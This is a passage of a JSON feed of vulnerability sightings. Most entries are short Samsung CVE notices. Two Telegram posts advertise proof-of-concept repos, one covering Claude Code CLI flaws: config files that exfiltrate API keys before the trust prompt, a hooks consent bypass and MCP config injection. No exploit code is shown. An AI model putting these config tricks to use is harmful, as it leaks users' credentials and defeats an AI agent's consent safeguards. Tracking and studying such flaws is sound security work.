Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.321974Z"}, {"uuid": "7f096b18-8b7a-43df-b0a9-4a9f3075be26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/29859", "content": "\ud83d\udee1 CVE-2026-21852-PoC (Educational Demo Repo)\n\ud83d\udce6 Repository: atiilla/CVE-2026-21852-PoC\n\ud83d\udc49 https://github.com/atiilla/CVE-2026-21852-PoC\n\nThis repository demonstrates historical PoC patterns for vulnerabilities in the Anthropic Claude Code CLI tool, including CVE-2026-21852, designed for educational purposes only.\n\n\ud83d\udccc What This Repo Contains\n\ud83d\udcc2 Demo directories for historical bugs\nExamples show how malicious config files can influence tool behavior\n\n\ud83d\udc0d Python scripts:\n\u2022 attacker_server.py \u2013 Local server to capture and log simulated traffic\n\u2022 attacker_proxy.py \u2013 Proxy for observing exfiltration behavior\n\u2022 scanner.py \u2013 Scanner to detect risky patterns in local repositories\n\n\ud83d\udcc1 Demo content directories include:\n\u2022 vuln1_hooks_bypass/\n\u2022 CVE-2025-59536_mcp_injection/\n\u2022 CVE-2026-21852_api_exfil/\n(Configuration files under these folders illustrate pattern examples.)\n\n\ud83e\udde0 Vulnerabilities Covered\nThe project explores multiple vulnerabilities historically disclosed for Claude Code CLI:\n\u26a0\ufe0f Hooks consent bypass \u2013 bypasses consent mechanisms (older build)\n\u26a0\ufe0f CVE-2025-59536 \u2013 MCP config injection \u2013 orchestration config risk\n\u26a0\ufe0f CVE-2026-21852 \u2013 API key disclosure \u2013 config causes API key to be sent before trust verification\nThe vulnerability CVE-2026-21852 identified that malicious repository settings could exfiltrate API keys prior to showing a trust prompt in affected Claude Code versions.\n\n\ud83c\udfaf How the Repo Can Be Used (Education Only)\n\ud83d\udccc Scanner\npython3 scanner.py \nDetects dangerous config patterns that could be risky before opening repositories.\n\n\ud83d\udccc Local Demo Server\npython3 attacker_server.py\nSimulates a server to log simulated exfiltration traffic.\n\n\ud83d\udccc Proxy Demo\npython3 attacker_proxy.py\nTransparent proxy to illustrate capture behavior.\n\n\ud83e\udde0 What You Learn Here\n\u2714\ufe0f How untrusted configuration files can impact tool behavior\n\u2714\ufe0f Why verifying repository contents before opening is important\n\u2714\ufe0f The concept of pre-execution key leakage (API exfiltration)\n\u2714\ufe0f How scanners can detect repository risk patterns\nThese skills are valuable in secure dev workflows, supply chain security, and blue team defensive validation.\n\n\u26a0\ufe0f Important Notes (Responsible Use)\n\u2705 This repository is for security research and learning only.\n\u274c Do NOT deploy these scripts against third-party or production systems.\n\u274c Never open untrusted repositories in real tools without inspection.\n\u2696\ufe0f Always practice ethical/authorized testing and use isolated lab environments.\n\n\ud83d\udccc Additional Reference: CVE-2026-21852 Description\n\ud83d\udccc The vulnerability CVE-2026-21852 pertains to an information disclosure issue in Claude Code \n       where repository settings could cause premature API calls before trust confirmation, risking API key exfiltration.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:23.886040Z"}, {"uuid": "826f1241-d66d-4e24-ab56-3ac85a925149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21048", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqboilsa4y27", "content": "CVE-2026-21048 - libimagecodec Out-of-Bounds Write\nCVE ID : CVE-2026-21048\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Out-of-bounds write in parsing DNG format in libimagecodec.media.quram.so prior to SMR Jul-2026 Release 1 allows remote...", "creation_timestamp": "2026-07-10T07:59:06.258205Z"}, {"uuid": "0fb8be6a-16e1-4ceb-b23b-6c6236f358d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21044", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqboljdyvy27", "content": "CVE-2026-21044 - Samsung KnoxGuardManager Improper Authorization Vulnerability\nCVE ID : CVE-2026-21044\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper authorization in KnoxGuardManager prior to SMR Jul-2026 Release 1 allows local att...", "creation_timestamp": "2026-07-10T08:00:40.422994Z"}, {"uuid": "ac1708ec-174c-425e-bb2e-98edd259d34b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21046", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbooizzdg2k", "content": "CVE-2026-21046 - FabricKeymaster Trustlet Time-of-Check Time-of-Use Race Condition\nCVE ID : CVE-2026-21046\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Time-of-check time-of-use race condition in fabricKeymaster trustlet prior to SMR Jul-2...", "creation_timestamp": "2026-07-10T08:02:20.687092Z"}, {"uuid": "a88cbf44-246d-48ca-969f-885f9adcac8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21050", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqboroe7bw26", "content": "CVE-2026-21050 - SmartThingsKit Improper Access Control Vulnerability\nCVE ID : CVE-2026-21050\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper access control in SmartThingsKit prior to SMR Jul-2026 Release 1 allows local attackers to ...", "creation_timestamp": "2026-07-10T08:04:07.166657Z"}, {"uuid": "6b26dd8f-9aa2-4c07-99bc-a72d6f2e3440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21051", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbouzxitv24", "content": "CVE-2026-21051 - Tencent WLAN Security Incorrect Default Permissions Vulnerability\nCVE ID : CVE-2026-21051\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Incorrect default permissions in WLAN security prior to SMR Jul-2026 Release 1 allows l...", "creation_timestamp": "2026-07-10T08:06:00.279382Z"}, {"uuid": "b76efd53-7bfc-45a3-b351-80e325155e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21041", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqboymq5bl2e", "content": "CVE-2026-21041 - SamsungSEAgentService Improper Access Control Vulnerability\nCVE ID : CVE-2026-21041\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper access control in SamsungSEAgentService prior to SMR Jul-2026 Release 1 allows local...", "creation_timestamp": "2026-07-10T08:08:00.466924Z"}, {"uuid": "bbbd1090-5fa8-406a-a18a-3c4a22191ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbpamuqba27", "content": "CVE-2026-21045 - Quram libimagecodec Out-of-Bounds Write\nCVE ID : CVE-2026-21045\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Out-of-bounds write in parsing TIFF format in libimagecodec.media.quram.so prior to SMR Jul-2026 Release 1 allows...", "creation_timestamp": "2026-07-10T08:12:28.659957Z"}, {"uuid": "5ff9921e-92c2-47f6-bcb2-d8789c2ac2ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21055", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbpf4bkvr2l", "content": "CVE-2026-21055 - Samsung Bixby Improper Component Export Vulnerability\nCVE ID : CVE-2026-21055\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper export of android application components in Bixby prior to version 4.0.70.8 allows local a...", "creation_timestamp": "2026-07-10T08:14:59.224502Z"}, {"uuid": "29bed05c-802f-433e-aa3b-9189db35c1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21043", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbpjynmsx2t", "content": "CVE-2026-21043 - Samsung Wallpaper Service Path Traversal\nCVE ID : CVE-2026-21043\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Path traversal in Wallpaper service prior to SMR Jul-2026 Release 1 allows local privileged attackers to access ...", "creation_timestamp": "2026-07-10T08:17:43.172766Z"}, {"uuid": "29eb8fb7-b359-4e0c-97c6-0ffe00f53fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21053", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbppenf3t2x", "content": "CVE-2026-21053 - Samsung Email Improper Input Validation Arbitrary File Creation\nCVE ID : CVE-2026-21053\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper input validation in Samsung Email prior to version 6.2.13.1 allows local attacke...", "creation_timestamp": "2026-07-10T08:20:43.694127Z"}, {"uuid": "f830a2f4-3865-4c96-b60c-b60bc065c687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21042", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbpvdzvbg2x", "content": "CVE-2026-21042 - Libsavsac Out-of-bounds Write Vulnerability\nCVE ID : CVE-2026-21042\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Out-of-bounds write in libsavsac.so prior to SMR Jul-2026 Release 1 allows local attackers to execute arbitra...", "creation_timestamp": "2026-07-10T08:24:06.082635Z"}, {"uuid": "29f3ff38-05f0-42ec-af11-7cc2ccd73c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21052", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbq447jmn2q", "content": "CVE-2026-21052 - SemClipboardService Path Traversal Vulnerability\nCVE ID : CVE-2026-21052\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Path traversal in SemClipboardService prior to SMR Jul-2026 Release 1 allows local privileged attackers ...", "creation_timestamp": "2026-07-10T08:27:51.074529Z"}, {"uuid": "3a004d93-3184-4894-b361-d26868d2e7ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21049", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbqdrqv5w2i", "content": "CVE-2026-21049 - libpadm Out-of-bounds Write Vulnerability\nCVE ID : CVE-2026-21049\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Out-of-bounds write in libpadm.so library prior to SMR Jul-2026 Release 1 allows local attackers to execute arb...", "creation_timestamp": "2026-07-10T08:32:08.249765Z"}, {"uuid": "fdd7a9eb-91a5-413b-8e00-60fcf6a4dd45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21040", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbqvolqy42x", "content": "CVE-2026-21040 - IAFDService Improper Access Control Vulnerability\nCVE ID : CVE-2026-21040\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper access control in IAFDService prior to SMR Jul-2026 Release 1 allows local privileged attacker...", "creation_timestamp": "2026-07-10T08:42:09.014936Z"}, {"uuid": "bfbf853c-e31d-4fa9-b290-00a2a82ac34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21057", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbr6mzc2h2x", "content": "CVE-2026-21057 - Samsung Pass Out-of-Bounds Memory Write Vulnerability\nCVE ID : CVE-2026-21057\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper input validation in Samsung Pass prior to version 5.2.10.3 allows local privileged attacke...", "creation_timestamp": "2026-07-10T08:47:10.285625Z"}, {"uuid": "b33b09af-d164-4f25-9024-0204df6a0e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21054", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbrhlg4e72z", "content": "CVE-2026-21054 - InputSharing Improper Component Export Vulnerability\nCVE ID : CVE-2026-21054\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper export of android application components in InputSharing prior to version 2.7.01.4 allows l...", "creation_timestamp": "2026-07-10T08:52:09.797354Z"}, {"uuid": "210dae66-3230-4a0b-8ee8-d8471663aec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21056", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqbrqjt2ru2k", "content": "CVE-2026-21056 - Samsung Health Improper Authorization Vulnerability\nCVE ID : CVE-2026-21056\n \n Published : July 10, 2026, 5:16 a.m. | 2\u00a0hours, 32\u00a0minutes ago\n \n Description : Improper authorization in Samsung Health prior to version 7.00.0.107 allows local attackers to access...", "creation_timestamp": "2026-07-10T08:57:10.130672Z"}, {"uuid": "d77d5c93-8eb3-445b-9ba1-f4ec5c08c564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21039", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbtx2vlgo2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21039: \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f SMR Jul-2026 Release 1\n\n\n\nhttps://kripta.biz/posts/C5D39AD0-37FE-49C3-BF51-F40D5595E3B1", "creation_timestamp": "2026-07-10T09:36:36.753885Z"}, {"uuid": "25ed75e5-71e4-47d4-9e75-c260f3c34242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21041", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbtxonpzj2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21041 \u0432 SamsungSEAgentService: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6AE5A4FE-BC2E-4826-AB4B-9507E1E57925", "creation_timestamp": "2026-07-10T09:36:57.557499Z"}, {"uuid": "9c3bb4f2-8168-42b4-b314-19dacdda060c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21043", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbtyglqpd2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21043: \u043f\u0443\u0442\u044c \u043a \u0442\u0440\u0430\u0432\u0435\u0440\u0441\u0430\u043b\u0443 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u043e\u0431\u043e\u0435\u0432 \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/8B269EF0-9F1B-4FB8-A0CC-5041072F7B67", "creation_timestamp": "2026-07-10T09:37:22.357928Z"}, {"uuid": "79968279-a98c-421d-af7e-e832d1b22c97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21049", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbtywpqfv2z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21049: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libpadm.so\n\n\n\nhttps://kripta.biz/posts/FA33C6A2-7F15-4ADD-8FF7-05338D253932", "creation_timestamp": "2026-07-10T09:37:39.792534Z"}, {"uuid": "8e377bfb-c36f-4a50-910e-17aac55e70da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21050", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbtzo44nn2z", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21050 \u0432 SmartThingsKit: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F876016D-1DEF-4529-8AA0-1A2B4E89EDFE", "creation_timestamp": "2026-07-10T09:38:03.737736Z"}, {"uuid": "bf9025e8-f8fe-4156-b25d-1d801da5937f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21052", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbu2jhfl526", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21052: Path Traversal \u0432 SemClipboardService \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/A2966DE9-69BD-4683-8A4C-91CB200280F9", "creation_timestamp": "2026-07-10T09:38:32.451283Z"}, {"uuid": "1cc6e29b-7abc-4f1b-8f34-df2b8eccdca6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21040", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbuvkslvr2a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21040: \u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 IAFDService \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/C6E1ABB3-9DD4-415A-91A9-2DF7ABBEF04E", "creation_timestamp": "2026-07-10T09:53:40.039179Z"}, {"uuid": "7f9b169f-98b6-4934-9721-2882f45d3611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21042", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbuwcgv452d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21042: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438\u0437-\u0437\u0430 \u0432\u043d\u0435\u043f\u0440\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 libsavsac.so\n\n\n\nhttps://kripta.biz/posts/CC533E6E-9063-4BAA-BE19-E92E4BA09131", "creation_timestamp": "2026-07-10T09:54:04.738738Z"}, {"uuid": "6111a02d-d15c-4c53-82fc-b49510a025d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbux2ewhl2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21045: \u0410\u043d\u0430\u043b\u0438\u0437 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f out-of-bounds write \u0432 libimagecodec.media.quram.so\n\n\n\nhttps://kripta.biz/posts/A9E47F9A-D05C-476A-8B39-FD04A59AA6D3", "creation_timestamp": "2026-07-10T09:54:30.165374Z"}, {"uuid": "8eab9600-d8d3-4665-943e-d58d12ee19d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21051", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbuxroozy27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21051: \u041e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Wi-Fi \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f SMR Jul-2026\n\n\n\nhttps://kripta.biz/posts/8B4598D1-1A90-4F1C-B99E-EBD0768F5167", "creation_timestamp": "2026-07-10T09:54:54.489237Z"}, {"uuid": "a11a8163-d223-421e-bb7e-f3e6d23f9b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21051", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mqbuxrszlf25", "content": "CVE-2026-21051 \u5b89\u5168\u6f0f\u6d1e\u5206\u6790:WLAN \u9ed8\u8ba4\u6743\u9650\u9519\u8bef\u53ca\u4fee\u590d\u65b9\u6848\n\n\n\nhttps://qian.cx/posts/DF236B1A-3593-48FF-A7EE-212DFFD2C16D", "creation_timestamp": "2026-07-10T09:54:54.926540Z"}, {"uuid": "038fabe4-cad0-4370-b6e5-4d4b87bf9797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21046", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbuyfovei27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21046: Race Condition \u0432 fabricKeymaster \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/F23A3A63-98DA-4121-A946-36DA40ECA648", "creation_timestamp": "2026-07-10T09:55:15.463565Z"}, {"uuid": "d31eff12-b08b-459a-b1b2-2521ad021168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21048", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbuyzhcc62i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21048: \u0440\u0438\u0441\u043a\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0432 libimagecodec.media.quram.so\n\n\n\nhttps://kripta.biz/posts/5A376F1E-6CF5-4FEF-ACC3-C1C176959052", "creation_timestamp": "2026-07-10T09:55:35.851815Z"}, {"uuid": "5fabbb33-8030-4159-a066-1f31f74424d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21053", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbuznayhf2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21053 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 Samsung Email: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/2ADB216F-DE6F-4DB1-A899-C1FD73E9AC52", "creation_timestamp": "2026-07-10T09:55:57.702708Z"}, {"uuid": "a98831a2-8bf5-4c36-866b-91c5e92f6b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21054", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqbv2f3xzq27", "content": 